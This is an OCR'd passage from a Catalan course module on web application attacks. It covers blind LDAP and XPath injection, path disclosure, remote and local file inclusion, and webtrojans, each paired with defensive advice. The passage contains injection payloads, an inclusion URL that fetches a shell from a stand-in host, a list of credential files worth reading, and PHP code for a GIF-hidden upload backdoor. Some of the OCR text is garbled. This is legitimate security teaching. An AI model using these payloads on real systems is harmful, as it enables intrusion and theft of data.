Aquest metode obliga a fer un recorregut en amplitud per un arbre en el qual
la possibilitat d'expandir-se en cada node sempre és igual a 1'alfabet complet.
Aquest alfabet es pot reduir fent un recorregut per a esbrinar els caracters que
no es fan servir en cap posicié en cap objecte, utilitzant un recorregut de la

manera segient:

(& (objectClass=user) (uid=*a*)) (& (objectClass=foo) (impresoraTipo=Epson*))

(& (objectClass=user) (uid=*b*)) (& (objectClass=foo) (impresoraTipo=Epson*) )

(& (objectClass=user) (uid=*z*)) (& (objectClass=foo) (impresoraTipo=Epson*) )

D'aquesta manera es poden excloure de l'alfabet els caracters que no han re-
tornat un resultat positiu després d'aquest primer recorregut. Si volem buscar
un Gnic valor, podem fer una cerca binaria de cadascun dels caracters utilitzant

els operadors relacionals <= o >= per a reduir el nombre de peticions.

En els atributs que emmagatzemen valors numerics no es pot utilitzar el co-
modi * per a booleanitzar la informacié emmagatzemada; per tant, la cerca de

valors s’ha de fer utilitzant els operadors >= 1 <=.

(& (objectClass=user) (uid=kurt) (edad>=1) (& (objectClass=foo) (impresoraTipo=Epson*))

2.2.3. Blind LDAP Injection en un entorn “OR”

En aquesta situaci6é tenim una consulta generada en el costat del servidor del
tipus segtlient:

(| (atributol=valorl) (atributo2=valor2))

En aquest entorn la logica que hem d'utilitzar és la contraria. En lloc de fixar el
valor del primer filtre a un valor sempre cert, I'’hem de fixar a un valor sempre
fals, i a partir d'aqui, extreure la informacio, és a dir, hem de fer una injeccio

de la manera segiient:

(| (objectClass=void) (objectClass=void)) (& (cbjectClass=void) (impresoraTipo=Epson¥*) )

Amb aquesta injecci6 obtenim el valor negatiu de referéncia. En l'exemple que
hem plantejat de les impressores disponibles, hem d'obtenir un resultat sense
la icona de la impressora. Després podrem inferir la informacié quan el segon

filtre sigui vertader.

(| (objectClass=void) (objectClass=users)) (& (objectClass=void) (impresoraTipo=Epson*))
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(| (objectClass=void) (objectClass=personas)) (& (objectClass=void) (impresoraTipo=Epson*))

(l
(1l

(objectClass=void) (objectClass=usuarios)) (& (objectClass=void) (impresoraTipo=Epson*))

(objectClass=void) (objectClass=logins)) (& (objectClass=void) (impresoraTipo=Epson¥*))

(| (objectClass=void) (objectClass=...)) (& (objectClass=void) (impresoraTipo=Epson*))

De la mateixa manera que en l'exemple amb l'operador AND, podrem extreure

tota la informaci6 de 1'arbre LDAP utilitzant els comodins.

2.2.4. Exemples Blind LDAP Injection

Per a mostrar la poténcia dels atacs Blind LDAP Injection s'ha creat, dins d'un

arbre LDAP sobre ADAM, una estructura amb objectes Printer. En la figura

segiient es veuen els atributs d'un objecte de tipus Printer:

Figura 29. Arbre LDAP sobre ADAM. Objecte de tipus Printer

5 CNsHP Laserjet 2100,0U = Printers, O DemolDAP

e Edt Vew Joos Heb

|Ready. For Help, press F1

e -0 14 B XRE AB- L-Zfll R R S o % (o) .
b & DemolDAP » | Name | Value | Type | Sae
# ) OU=Documents (5 objectClass top test attribute 3
% 3 CNsLostAndFound = objectClass penter text attnbute ?
3 ) CN=NTDS Quotas Hen HP Laserjet 2100 text attnbute 16
= ) OU=Printers = dateguishedName CNz HP Lasenjet 2100,0U= Printers, O= Demol DAP tet attnbute Q2
9 3 CN=Cannon 349 LBl instanceType 4 text attnbute 1
-_’ “ wherCreated 20071107110906.02 text attnbute 17
4 () CNeXerox 2300 Laser Col = whenChanged 2007112010112802 text attnbute 17
+ () CN=Roles = uSNCreated 124655 text attnbute 5
5 5 OU=Scanners = uSNChanged 20518 tet attnbute 5
= () OUsUsers = name HP Lasenet 2100 ted attnbute 16
© 53 CN=Alan Beadley foby«!GuD €1 34 88 €6 49 85 9A 41 B5 BD 61 87 05 49 CF F3  banary attribete 16
» = objectCategory CNzponter, CN= Schema, CN=Configuration CN={3BA..  text attnbute »
¥ = CN=Cindy Morgan -
4 ) CNeDavid Warner = department Financial tedt attnbute 9
- ) CN=Steven Lisber M createTimeStamp 2071107110906 02 operational attnbete 17
* - 9« | B modiyTimeStamp 2007112010112802 operational attribete 17
< L M obSchemaSubntry CN=Aqqreqate, CNs Schema, CNs Confiquration CNs{...  operational attribute 81

0 cnzAlin Badiey,ous users,0sdemolD, Schema loaded | §

Sobre aquest arbre LDAP hi treballa una aplicacié web que es connecta, entre

altres repositoris, a aquest arbre per obtenir informaci6. En aquest cas tenim

una aplicacio programada en php, anomenada printerstatus.php, que rep

com a parametre el nom de la impressora i construeix una consulta LDAP de

la manera segiient:

(& (cn=HP Laserjet 2100) (objectclass=printer))

El resultat és una pagina web en que s'accedeix a propietats de la impressora

en concret.
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Figura 30. Propietats de la impressora HP Laser]Jet 2100
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El parametre idprinter s'utilitza per a construir la consulta LDAP i és vulne-
rable a LDAP Injection; no obstant aix0, no es mostra cap de les dades dels
objectes que es puguin seleccionar amb qualsevol consulta executada, de ma-
nera que solament es pot fer una explotaci6 a cegues. Les captures de pantalla
seglients mostren exemples de la manera com es pot extreure informacié de
I'arbre LDAP mitjancant Blind LDAP Injection.

1) Fase 1: descobriment d'atributs

L'atacant injecta atributs per descobrir si existeixen o no. Quan l'atribut no
existeix la consulta LDAP no retorna cap objecte i l'aplicacié no mostra dades
de cap impressora.

S’ha de tenir en compte que el comodi * val solament per als valors de tipus
alfanumerics; per tant, si l'atribut fos d'un altre tipus no es podria descobrir
aixi. Per als de tipus numerics i per als de tipus data s'utilitzen els operadors
>= i <=0 =1 per als booleans, les constants True i False.

Figura 31. L'atribut IPaddress no existeix o no té valor alfanumeric.
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En 'exemple segiient, l'atribut distinguisedname existeix i a més és de tipus
alfanumeric, ja que funciona perfectament amb el comodi “*”. Aix0 es pot
comprovar perque la pagina de resultats ha retornat dades de la impressora

que s'estava utilitzant.
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Figura 32. L'atribut distinguisedname existeix i té valor alfanumeéric.
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Com es veu, hi ha diferéncies en les pagines que retornen dades i les que no,
de manera que es pot automatitzar l'extraccié de tota la informacio i el des-
cobriment dels atributs simplement comparant els resultats HTML que s’han
obtingut.

En la figura 33, s'obté una altra vegada un resultat positiu que confirma
I'existéncia d'un atribut department.

Figura 33. L'atribut Department existeix i té valor Unicode extraible.
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2) Fase 2: reducci6 de 1'alfabet

Una de les opcions que es poden sospesar és fer una reducci6 de l'alfabet pos-
sible de valors en un camp. La idea consisteix a saber si hi ha un determinat
caracter en un atribut o no. Si l'atribut té 15 caracters de longitud i hem de
provar, per exemple, 28 lletres per 15 caracters, s’han de fer 420 peticions per a
extreure la informaci6. No obstant aixo, es pot fer un recorregut que ens digui
si una lletra pertany al valor o no. D'aquesta manera hem de fer primer 28
peticions que ens deixaran, en el pitjor dels casos, una lletra diferent per cada
posicio, és a dir, 15 lletres. Després, en el pitjor dels casos també¢, tindrem 15
lletres per 15 posicions més 28 peticions de reducci6 de l'alfabet, és a dir, 253
peticions. A més, es pot inferir que, si hi ha una lletra que ja s’ha utilitzat, pot
ser que no es torni a utilitzar, de manera que tindrem una reducci6 fins i tot
més gran si la lletra s'utilitza com a Gltima opcid, i deixarem la probabilitat en
un sumatori d'1..15 + 28, és a dir, 148 peticions.
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Com a conclusio, es pot obtenir que la reduccié de l'alfabet és una bona opci6

a I'hora d'extreure valors de camps.

En els exemples seglients veurem com s’ha de fer per a saber si un caracter

pertany al valor del camp o no.

Figura 34. La lletra b no pertany al valor de l'atribut department perque no s'obtenen dades.
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Figura 35. La lletra n si que pertany al valor de I'atribut department perqué si que s'obtenen
dades.
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Aquesta reduccié deixa un conjunt de valors valids que es poden fer servir per

a extreure el valor de la dada mitjancant un procés de desplegament.

3) Fase 3: desplegament

En aquesta fase, una vegada reduit l'alfabet, s’han d’ordenar les lletres que

s’han obtingut; per a aixo0 comencarem un procés des de la primera posicio.

Figura 36. El valor de department no comenga per la lletra a perqué no s'obtenen dades.
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S'han d’anar provant lletres fins que s'obté un resultat positiu que confirmi

que amb aquest patro es retornen dades.

Figura 37. El valor de department si que comenca per la lletra f perque si que s'obtenen
dades.

i
@ Printer Status - Windows Interet Explorer [E=EX)
« | @ nttp/wwwserverDemo.c idprinter=HP LaserJet 2 £ «[ 4] x | [ Googte o~
N/
% & | @ Printer Status

| [ v deh v [ Pagina v {} Herramientas v

PRINTER STATUS

User Steven Lisberger Levellow

Name: HP Laserjet 2100

f’ IP_Adress: 192.168.1.45

” Status: Printing

’ Cartridge Ink Level : 81%

1 Equipo | Modo protegido: desactivado #®100% ~

Una vegada descoberta la primera lletra, es manté fixa i s’ha de buscar la sego-

na, substituint sempre els caracters obtinguts en la fase de reduccio6 de l'alfabet.

Figura 38. El valor de department no comenca per les lletres fa perqué no s'obtenen dades.
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Figura 39. El valor de department si que comenca per les lletres fi perque si que s'obtenen
dades.
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Aquest procés s’ha de repetir amb tots els atributs que s’han descobert i fins

que s'hagin descobert totes les lletres, cosa que permetra extreure informacio
oculta dels objectes de l'arbre LDAP.

LDAP és una tecnologia en expansio, i laimplantaci6é que se’'n fa en els sistemes
de directori i metadirectori la fan cada dia més popular. Els entorns intranet
fan un Gs intensiu d'aquesta tecnologia per a oferir sistemes de Single Sing-On
i fins i tot és comu trobar entorns LDAP en els serveis d'Internet.
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Aquesta popularitat fa que calgui incloure les proves anteriors dins dels pro-
cessos d'auditoria de seguretat de les aplicacions web. Les proves d'injeccions
d'auditoria que s'estaven fent avui dia, seguint la documentaci6 existent, no
ajudaven gaire ja que en els entorns més comuns com ADAM o OpenLDAP
no funcionen.

La soluci6 per a protegir les aplicacions enfront d'aquest tipus d'injeccions és,
com en altres entorns d'explotacio, filtrar els parametres enviats des del client.
En aquest cas filtrar operadors, paréntesis i comodins perqueé un atacant no
sigui mai capag d'injectar logica dins de la nostra aplicacio.

2.3. XPath

XPath és un llenguatge que permet la cerca d'informacié en documents
XML per mitja d'expressions especifiques per a la seva estructura. Esta
pensat per a optimitzar els temps de cerca fent Gs de 1'organitzaci6 de
nodes que tenen els fitxers XML.

Com qualsevol mitja per a I'emmagatzematge i la cerca de dades, es pot im-
plementar en aplicacions web, de manera que poden substituir els SGBD (sis-
temes de gesti6 de base de dades) basats en SQL.

2.3.1. XPath Injection i Blind XPath Injection

XPath Injection és una vulnerabilitat que consisteix a modificar els parametres

de cerca a 'hora de formar una consulta (query) XPath.

Parlem d’una injeccié XPath quan s'insereix codi XPath dins de la senténcia,

i executa el codi injectat dins del motor de cerca XML.

Aquest tipus de vulnerabilitats basades en injeccions (XPath Injection, SQL
Injection, LDAP Injection, etc.) son fallades de seguretat causades per una mala
programaci6 de l'aplicaci6é que fa la connexié contra el motor de cerca, amb
independéncia que l'aplicacio sigui d'escriptori o web.

Per a saber com funciona aquesta técnica més a fons, ens imaginarem un cas
practic. Tenim una aplicacié6 web que fa una connexié contra un arbre XML

amb l’estructura segiient:

<?xml version="1.0" encoding="UTF-8"?>

<usuarios>
<usuario login="admin" password="tloviv0" nivel="3" />
<usuario login="usuario" password="miPasswordXml" nivel="1" />

<usuario login="invitado" password="invitado" nivel="0" />
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</usuarios>

L'aplicaci6 web maneja un sistema d'autenticacié basat en XML, en qué per a
fer 'autenticaci6 té un formulari en que sol-licita un usuari i una contrasenya,
amb els quals després forma una consulta d’XPath amb l'estructura segtient:
string xpath = "/usuarios/usuario[@login='" + usuario + "' and @password='" + password + "']";
En un entorn segur aquesta consulta d’XPath no retorna cap resultat positiu
tret que l'usuari i la contrasenya es corresponguin amb els que hi ha establerts

en el document XML, pero si es tracta d'un entorn insegur en queé els camps
d'entrada (usuari i contrasenya) no estan filtrats, es pot fer una injeccio.

N’hi ha prou que un usuari introdueixi en el camp contrasenya un valor com
abc or ‘a’='a’ or ‘a’=’b per asaltar el sistema d’inici de sessio i accedir
a la zona privada, ja que el motor de cerca XML retornara un resultat positiu.
Tenint en compte que primer s'avaluen els operadors AND i després els OR, el
resultat boolea que tractara el motor de cerca és el que ens mostra I'exemple
segient:

Figura 40. Avaluaci6 dels parametres en XPath

/usuarios/usuario[@login=" and @password=" or "={]
Y J L 3
FALSE FALSE TROE

[ ']
1 FALSE and FALSE = FALSE ]
FALSE or TRUE = TRUE

Com hem vist, amb aquest tipus d'injeccions es poden fer modificacions en
la consulta per a obtenir el resultat volgut (true/ false), pero es pot anar molt
més alla i esbrinar I'estructura de 1'arbre XML amb tots els nodes, atributs i

elements.

Aquesta mena d’actes es poden fer. S'utilitza una variacié d’“XPath Injection”
anomenada “Blind XPath Injection”, que consisteix a esbrinar valors de l'arbre
XML basant-se en el resultat boolea que retorna l'aplicacié vulnerable.

Reprenent el cas practic anterior, suposem que, quan fem 1'inici de sessié en
l'aplicaci6 (introduint abc' or ‘a’=’a’ or ‘a’='Db), l'aplicaci6 retorna
un missatge d'autenticacié que diu “Bienvenido”, i que, en cas que la consulta
XPath retorni un resultat negatiu (quan es fa una injeccié que retorna false),

mostra un missatge que diu “Usuario y/o password incorrecto”.

En aquest cas, ens trobem clarament davant una aplicacié vulnerable a Blind
XPath Injection, pero si aixi i tot volem estar segurs que es tracta d'un motor
XML ino SQL, podem utilitzar funcions com count (//), que retorna el nom-
bre total de nodes en l'arbre, que hauria de tenir sempre almenys 1 node:

¢ Injecci6 de cadena: a® or count(//)>0 or ‘a’='b
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e Injeccié numerica: 0 or count(//)>0 or 1=1

També es poden utilitzar operadors OR en majuscules, ja que no sén acceptats
en cerques XML i si que ho sén en cerques SQL (que admeten operadors tant
en mindscules com en majascules), de manera que es pot concloure si el motor

de cerca treballa amb XML.

e Motor SQL: ¥ OR 1=1 OR ‘'=’
e Motor SQL/XML: ¥ or 1=1 or ‘’'=’

Si amb aquesta prova obtenim un resultat positiu, no hi ha dubte que és un
sistema XML, és vulnerable i, a més, es pot extreure tot l'arbre XML. Com?
Utilitzant tecniques de booleanitzacio6.

El primer pas a I'hora de comencar un atac per a baixar 1'arbre és treure els
valors del node arrel, que conté la resta dels nodes. Els passos que s’han de
seguir son els segiients:

1) Extreure el nom del node.

2) Extreure els atributs del node.

3) Comprovar si és un element’. Si ho és, s’ha d’obtenir el valor.
4) Calcular el nombre de nodes fills que conté el node que s'esta analitzant.
5) Tornar a fer el pas ‘1’ amb els nodes extrets en el pas ‘4.

Per a extreure el nom del node, primer s’ha de calcular el nombre de caracters
que té. Aixo es pot fer utilitzant la funci6 string-length:

®si el node és un element, no pot
contenir subnodes, de manera que
els passos 4 i 5 no es farien.

[PATH]child: :node () [position ()=[NUMNODO] and string-length (name ())>[NUMERO] ]

En qué [PATH] és el node que s’ha d’analitzar, [NUMNODO] el nombre de node
(ja que hi pot haver diversos nodes amb el mateix nom dins del mateix pare),
i [NUMERO] la longitud del nom del node. D'aquesta manera, utilitzant forca
bruta i tecniques d'optimitzaci6é com la cerca binaria, es pot treure la longitud
del nom de la manera segiient:

' or /child::node () [position()=1 and string-length (name())>20] or 1=1 and

' or /child::node () [position()=1 and string-length (name())>10] or 1=1 and

' or /child::node () [position()=1 and string-length (name ())>5] or 1=1
' or /child::node () [position()=1 and string-length (name())>7] or 1=1
' or /child::node () [position()=1 and string-length (name())>9] or 1=1

' or /child::node () [position()=1 and string-length (name())=8] or 1=1

and
and
and

and
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Una vegada se sap que la longitud del node sén 8 caracters, es pot treure el
nom del node seguint el mateix mecanisme: téecniques de booleanitzaci6 i

imaginacio.

' or /child::node () [position()=1 and starts-with(name(),'a')] or 1=1 and

' or /child::node () [position()=1 and starts-with (name(),'b')] or 1=1 and

' or /child::node () [position()=1 and starts-with(name(),'c')] or 1=1 and

' or /child::node () [position()=1 and starts-with(name(),'u')] or 1=1 and

' or /child::node () [position()=1 and starts-with(name(),'ua')] or 1=1 and ''='
' or /child::node () [position()=1 and starts-with (name(),'ub')] or 1=1 and ''='
' or /child::node () [position()=1 and starts-with(name(),'us')] and ''="'

' or /child::node () [position()=1 and starts-with (name (), 'usu')] and ''="'

S’ha de fer el mateix procés per a cada lletra del nom, utilitzant un charset de

caracters, i extreure cada caracter des de la posicio 1 fins a la posicié maxima,

que és la longitud del nom extreta inicialment.

Els passos per a extreure els atributs i els elements sén exactament els mateixos,

pero variant la consulta XPath, amb les plantilles segiients:

1) Per a extreure informacié referent als nodes:

Longitud del nom:
[PATH]child: :node () [position ()=[NUMNODO] and
string-length (name () )>[NUMERO] ]

Nom del node:
[PATH] child: :node () [position ()=[NUMNODO] and
starts-with (name (), ' [VALORES]"') ]

Nombre de subnodes:
count ([PATH]child: :node () ) > [NUMERO]

2) Per a extreure la informaci6 dels atributs:

Nombre d'atributs d'un node:
count ([PATH]child: :node () [ [NUMNODO]]/@*)>[NUMERO]

Longitud del nom de l'atribut:
[PATH]child: :node () [position ()=[NUMNODO]] and
string-length ([PATH]child: :node ()

[ [NUMNODO]]/@* [position () =[NUMATT] and
string-length (name () )>[NUMERO]])>0

Longitud del valor de l'atribut:
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[PATH]child: :node () [position ()=[NUMNODO]] and
string-length ([PATH]child: :node ()
[ [NUMNODO]]/@* [position ()=[NUMATT]])>[NUMERO]

e Nom de l'atribut:
[PATH] child: :node
[PATH] child: :node
starts-with (name (), ' [VALORES]"')

() [position ()=[NUMNODO] ] and
() [ [NUMNODO]]/@* [position () =[NUMATT] and

e Valor de l'atribut:
[PATH]child: :node () [position ()=[NUMNODO]] and
starts-with ([PATH]child: :node ()

[ [NUMNODO]]/@* [position ()=[NUMATT]], '[VALORES]'")

3) Per a extreure el contingut d'un node:

e Longitud de I'element:
string-length ([PATH] /child: :text ())>[NUMERO]

e Valor de I’element:
starts-with ([PATH]child::text (), ' [VALORES]"'")

Aquesta tecnica pot resultar molt tediosa i lenta si es fa manualment, pero per
a aixo ja hi ha eines que fan aquest procés de manera automatica i, a més,
utilitzen técniques d'optimitzacié com reducci6 del charset per a trobar les
dades fent un nombre reduit de consultes.

Implementar una reducci6é de charset és una cosa simple; n'hi ha prou de fer
una consulta per cada caracter i comprovar si aquest caracter existeix en algun
node, element o atribut de l'arbre. Si no hi és, s'elimina aquest caracter del
charset. Aixo es pot fer amb la consulta seglient:

"//*[contains (name (), 'a')] or //@*[contains(name(), 'a')]

or //attribute::*[contains(.,'a')] or contains(//*, 'a')"

Si aquesta consulta ens retorna un resultat positiu, es manté la lletra ‘a’ en el
charset de lletres que s’ha de provar; no obstant aixo, si ens retorna la pagina
que hem associat a una peticio falsa, podem eliminar el caracter a de la resta
de proves que s’han de fer perque ja sabem que no hi sortira mai.

Una altra técnica interessant per a ['optimitzaci6 del Blind XPath Injection és la
de “learn words”, de manera que quan s'extreu el nom d'un node, element o
atribut es guarda en una llista. Quan es troba un altre node, element o atribut
d'una longitud de nom igual que la d'algun element que ja s'ha extret, s’han
de fer comprovacions amb els nodes coneguts perque és probable que si tenen

la mateixa longitud tinguin també el mateix nom.
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En la imatge segiient es mostra una eina en funcionament, una vegada baixat
I'arbre XML d'una aplicacié web vulnerable.

Figura 41. Arbre XML extret mitjancant una aplicacié
automatitzada

File  Help

XML Structure | Debug

<!- Starting at miércoles, 22 de abril de 2009, 12:57:22 >

<usuarios>
<user>
dogin>
dfko38jfifg:-d_.ddhiuos jshg783hr
</login>
<password>
fdsgs84i fpr._ofrsdg..gsd
</password>
<cuenta>
fg904jdt _.::sdhgdw
</cuenta>
<Juser> Finished
</usuarios>

<I- Finished at mié XML tree has been downloaded.

<! Elapsed time: 10}
e

2.3.2. Com cal protegir-se de téecniques de XPath Injection?

La protecci6 contra aquest tipus de técniques és molt simple, i se n’ha de fer
carrec el programador de l'aplicacié. Solament s’ha de fer un filtratge de les
entrades, tenint en compte dos factors:

e Sil'entrada és numérica: abans de formar la consulta, s’ha de comprovar
que el valor introduit en l'entrada és un valor numeric i no una cadena
de text.

e Sil'entrada és de text: s’han de reemplacar els caracters perillosos com la
cometa simple i les cometes dobles per \"i \"”.
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3. Atacs de cami transversal

Mitjancant les tecniques de cami (path) transversal s’aconsegueix acce-
dir a informacio6 referent al servidor, des de simplement el directori on
s'executa l'aplicacié web fins a aconseguir baixar fitxers del servidor. Ca-
dascuna d'aquestes fallades té un nom i I’estudiarem separadament.

La informaci6 que s’obté la pot fer servir un atacant per a aconseguir accedir
a altres recursos de la pagina mitjancant algun tipus d'enginyeria social o de-
duint possibles noms de fitxers o carpetes per a accedir-hi després.

Analitzarem des dels menys perillosos fins als més critics, i veurem que els uns
es recolzen en els anteriors i que en certa manera depenen els uns dels altres

i que realment estan molt relacionats entre si.

3.1. Path Disclosure

Aquest problema no és especific d'una tecnologia, siné que es pot donar en
qualsevol llenguatge de programaci6 i en qualsevol tecnologia de servidor.
Aquesta vulnerabilitat no és critica per si mateixa, perd pot facilitar les coses
a un atacant que intenti qualsevol de les fallades que comentarem més enda-

vant.

La idea és aconseguir coneixer el cami en que s'executa l'aplicacid. Per
a aixo ens hem de valer de missatges d'error (provocats o no) que con-
tinguin camins a fitxers. Aixo ho aconseguirem introduint caracters er-

ronis en els parametres o accedint a camins que no existeixin.

Figura 42. Fallada de Path Disclosure

@ Mozilla Firefox

File Edit View History Bookmarks Tools Help

<@ - - & GF (O nttpywmwwis “m/show.phpid=118'

@ Disable~ }:} Cookies v -] CSS~ |=_] Forms~ % Images ~ @ Information ~ Miscellaneous v _

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

Ivar/www/htmUspiderside"slim g¥w/show.php on line 63




CC-BY-NC-ND ¢ PID_00191644 55

Atacs a aplicacions web

Aquest missatge d'error es pot donar en intentar reproduir qualsevol de les al-
tres fallades que hem explicat en aquesta secci6. En general, els llenguatges de
programacio6 del costat del servidor, si no tenen els errors controlats, mostren
un missatge d'error predefinit que, normalment, conté el cami del fitxer que
esta afectat.

Evitar aquest tipus d'errors és tan senzill com generar les nostres propies
pagines d'error. Una altra bona practica també és controlar qualsevol tipus
d'excepcio en el codi. En definitiva, no deixar que els missatges per defecte es

mostrin mai a l'usuari.
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4. Atacs d'injeccio de fitxers

4.1. Remote File Inclusion

Remote File Inclusion és la vulnerabilitat que consisteix a executar codi
remot dins de l'aplicaci6 vulnerable. Es basa en la idea que de la mateixa
manera que es pot carregar un fitxer local per a incloure’l dins de la
pagina se'n pot carregar un de remot que contingui codi malicios.

Aixo es pot fer en llenguatges interpretats, en que podem incloure un fitxer
amb codi i afegir-lo a 1'execuci6. En I’exemple segiient es pren com a base una

pagina programada en PHP:
http://www.mipagina.com/mostrar.php?pag=index.php

PHP fa 4s de funcions que permeten incloure fitxers externs per a generar
pagines més complexes i més completes. En 'hipotetic exemple anterior el
fitxer mostrar.php faria Gs d'alguna d'aquestes funcions de PHP que permeten

la inclusié dinamica de fitxers:

® include ($pag)
® require (Spag)
* include onze ($pag)

® require onze ($pag)

Aquestes funcions reben un parametre (anomenat $pag en aquest exemple)
que indica el cami del fitxer que s’ha d'incloure. Si la variable pag no esta prou
controlada, podem fer una crida a un fitxer extern que baixara i s'interpretara
en el costat del servidor:

http://www.mipagina.com/mostrar.php?pag=http://malo.com/shell.txt

En la crida anterior el servidor mipagina.com sol-licita a malo.com el fitxer
shell.txt, que inclou codi PHP valid que s'executara a mipagina.com.

Aquesta fallada es deu a una mala configuraci6 del servidor PHP, que permet
que s'incloguin fitxers externs. La configuraci6 correcta ha de ser la prohibicio
total de fer aquestes accions.
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Per a establir una configuracié adequada en l'intérpret de PHP, hem de buscar
el fitxer php.ini de configuracié (en Linux sol ser a /etc/php5/php.ini) i
establir la clau de configuracié allow url include a false.

Aquesta fallada de seguretat pot donar lloc al fet que un atacant aconseguei-
xi executar qualsevol codi volgut en el servidor web amb els riscos que aixo
comporta. Hi ha fitxers pregenerats per a ser inclosos dins del flux d'execuci6
de l'aplicaci6 web. Van des d'un simple interpret d’ordres fins a una completa
shell equipada amb el seu propi explorador de fitxers, opcions per a pujar o
baixar fitxers i fins i tot la possibilitat d'executar programes en l'equip remot.

Figura 43. Shell remota executant-se
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A Internet hi podem trobar una gran varietat de shells remotes. Per exemple, la
shell mostrada en la figura anterior es diu c99, si bé n'hi ha d’altres com I'r57 o
la c100. De tota manera, sempre ens en podem programar una de propia amb

la funcionalitat que necessitem.

4.2. Local File Inclusion

Aquesta vulnerabilitat, al contrari que l'anterior, afecta tant llenguatges com-
pilats com interpretats. Es basa en la possibilitat d'incloure dins de la pagina
un fitxer local de l'usuari amb el qual s'executa el servidor d'aplicacions web

que té permisos de lectura.

Aquesta vulnerabilitat pot passar en qualsevol lloc d'un lloc web pero sol ser
més comuna en dos llocs ben diferenciats:

e DPaginesde plantilles: carrega un fitxer des d'un altre fitxer i hi dona format.

e Pagines de baixades: rep un parametre amb el nom del fitxer que s’ha de
baixar i ’envia al client.
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La idea que hi ha al darrere de totes dues fallades és la mateixa, i les imple-
mentacions defectuoses, a vegades també. Per a aconseguir explotar aquesta
vulnerabilitat d'una manera satisfactoria, hem de poder fer crides a fitxers fora
del cami original. Aixd ho hem de fer intentant incloure fitxers d'un directori
superior usant els caracters . . / en sistemes Linux o . . \ en sistemes Windows
més el nom d'un fitxer que sapiguem que hi és. Per exemple, sospitem que
I'URL segiient té una fallada de Local File Inclusion:

http://www.victima.com/noticias/detalle.php?id=4&tipo=deportes.php

Per a corroborar-ho i determinar que efectivament som davant d’una fallada
de Remote File Inclusion, podem modificar I'URL fins que quedi de la manera
segient:

http://www.victima.com/noticias/detalle.php?id=4&tipo=../index.php

Gracies a aquesta simple comprovaci6é podem detectar si una pagina és vulne-
rable a Local File Inclusion.

Aquesta técnica es pot ampliar (si els permisos ho permeten i no s'aplica el
concepte del minim privilegi) a fitxers fora del directori de l'aplicaci6 web i
comencgar a incloure fitxers del sistema operatiu mateix. Aix0 ens permetra

obtenir més informaci6 sobre l'equip.

Per a localitzar sense equivocacions els fitxers podem usar una fallada de Path
Disclosure perque ens doni informacié sobre el cami local on hi ha aquests
fitxers. De tota manera, i si no sabem el cami relatiu d'un fitxer davant de la

pagina vulnerable, podem fer servir els camins directes®.

Hi ha molts fitxers interessants a qué es pot accedir mitjancant aquesta tec-
nica, depenent dels objectius de l'atacant. A més, aquests fitxers varien entre
diferents sistemes operatius. A continuaci6é detallarem alguns d'aquests fitxers
com a mostra de la informaci6é que podem arribar a obtenir:

® /etc/passwd:fitxer d'usuaris en sistemes Linux. Conté un compendi dels
usuaris existents i també dades relatives a aquests usuaris, com el nom o

el directori de la pagina inicial (home).

e /etc/hosts: permet guardar informacié sobre equips proxims. Sol con-
tenir una llista de noms i IP interns que ens permeten tenir una idea més

bona de l'estructura interna d'una organitzacio.

* C:\Windows\repair\SAM: el SAM és el fitxer que conté els noms dels
usuaris i les claus dels usuaris d'un sistema Windows. En la carpeta repair
s'emmagatzema una copia del fitxer SAM per a poder-la recuperar en cas

d'error del sistema.

®Un cami directe és el que inclou
tot el nom del fitxer.
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e El mateix fitxer vulnerable: és molt instructiu baixar el mateix fitxer vul-
nerable mitjancant la fallada de Local File Inclusion per a aprendre dels
problemes dels altres.

Per a evitar que aquesta técnica tingui més impacte és important pensar a
muntar el servidor amb el minim privilegi possible, limitant la possibilitat
d'accés a fitxers del servidor dins de la seva propia carpeta, amb la qual cosa
aconseguim evitar 1'accés a fitxers del sistema, tot i que no a fitxers propis de
l'aplicacid.

Figura 44. Exemple de Local File Inclusion
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Si volem fer una proteccié mitjancant programaci6 en lloc de controlar-ho
mitjancant permisos en el servidor, s’ha de tenir en compte que els camins a

fitxers es poden escriure de dues maneres:

¢ Directa: hem d’escriure el cami on hi ha el fitxer directament. Per tant,
hem d’eliminar els caracters \ o / de les dades que han enviat els usuaris.

e Relativa: hem d’usar la canonitzacié per a pujar cap a directoris superiors
mitjancant 1'as de ..\ o ../. Ho podem evitar excloent, a més dels
caracters anteriors, els punts.

4.3. Webtrojans

Una de les funcionalitats més esteses en pagines web mitjanament complexes
és la possibilitat de pujar fitxers al servidor: imatges, documents en PDE, fitxers
de video, etc.

Quan un usuari ens envia un fitxer hem de comprovar que ens envia un fitxer
legitim, és a dir, si estem esperant un fitxer amb una imatge s"ha de comprovar

que rebem realment una imatge i no pas un altre tipus de fitxer.

Si no comprovem els fitxers que ens envien pot ser que copiem en el nostre

servidor un fitxer malintencionat conegut com a webtrojan’.

ks una shell remota que podem
pujar a un servidor aprofitant una
fallada de seguretat.
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Hi ha moltes shells remotes en diferents llenguatges a la disposicié de qualse-
vol usuari. Aquestes shells solen ser detectades pels antivirus per a evitar que
passin desapercebudes a administradors despistats perd poden ser “camufla-
des” dins d'altres fitxers.

L'exemple més clar de la manera com s’ha de camuflar un fitxer d'aquests és
incloure’l darrere d'una capgalera d'una imatge, en la qual alguns servidors
son capacos d'executar el codi.

Figura 45. Webtrojan ocult dins d'un fitxer GIF
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sfp = fopen( upload.php"”, "w");

Sentry_line="<hl>Sube Arch1vos</h1> H

Sentry ine2="<hr><form action="upload. php"

‘multipart/form-data” method=post><input

e_f11e name=whatever><input type=submit

value= U?1oad></form> H

Sentry_line3= "<?SRoot = getcwd();

Sentry_line4="move_uploaded f11e($ FILES[\ whatever\ ']

E\ tmp_name\' ] SRoot .\'/\'. S_FILES[\ 'whatever\']

\'name\"]); ";

fputs(sfp,
Sentry_ 'Ime Sentry_line2. $entry_line3. Sentry_line4);
fclose(sfp); 7>

En la imatge anterior es veu que un fitxer gif obert amb un visor de textos
deixa a la vista codi PHP que generara una porta posterior per a pujar qualsevol
tipus de fitxer.

Per a evitar aquest tipus de problemes hem de comprovar sempre no solament
I'extensio, siné també la capgalera del fitxer per corroborar que és del tipus que
nosaltres hem permes. Una bona practica és la d'establir nosaltres mateixos
mitjancant programacio l'extensio dels fitxers que ens pugen, i evitar aixi que
alga pugui pujar un fitxer i establir-lo amb extensions com ASP o PHP.
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5. Google Hacking

Google indexa avui dia milions de pagines web i no entén de zones privades ni
restringides. Tot alld que esta enllagat en algun lloc i és accessible és a Google.
Si sabem com funciona Google (i en general els cercadors), podrem accedir a
molta informacié que ni tan sols els seus propietaris saben que hi és.

Per aix0 és molt important saber com s’han de fer preguntes a Google sobre
